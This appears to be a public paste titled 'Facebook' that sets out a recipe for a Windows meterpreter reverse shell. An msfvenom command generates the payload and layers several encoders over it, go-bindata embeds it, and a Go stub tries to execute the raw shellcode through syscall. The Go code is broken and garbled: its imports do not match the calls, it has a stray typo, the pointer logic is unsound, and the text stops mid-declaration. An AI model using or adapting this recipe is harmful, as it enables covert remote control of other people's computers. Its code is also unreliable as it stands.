Facebook
From dupa, 1 Month ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 137
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your IP> LPORT=<your port> -f raw -b '\x00' | msfvenom -e x86/xor_dynamic -i - -f raw -b '\x00' | msfvenom -a x86 --platform windows -e x86/countdown -i - -f raw --smallest -b '\x00' -o meterpreter_reverse.bin
  2. ====
  3. go get -u github.com/go-bindata/go-bindata/...
  4. ===
  5. go-bindata -pkg main -o shell.go meterpreter_reverse.bin
  6. ===
  7. Jakub Nowak
  8. 2:41 PM
  9. package main
  10.  
  11. import (
  12.  "os/exec"
  13. )
  14.  
  15. func run_shellcode(shellcode []byte) {
  16.  if len(shellcode)%4 != 0 { // must be multiple of 4
  17.   shellcode = append(shellcode, make([]byte, 4-len(shellcode)%4)...)
  18.  }
  19.  
  20.  // Convert to []uintptr
  21.  var shellcodePtrs []uintptr
  22.  for i := 0; i < len(shellcode); i += 4 {
  23.   shellcodePtrs = append(shellcodePtrs, *(*uintptr)(unsafe.Pointer(&shellcode;[i])))
  24.  }
  25.  
  26.  syscall.Syscall(shellcodePtrs[0], 0, 0, 0, 0) // assuming that the shellcode begins with a valid address
  27. }
  28.  
  29. func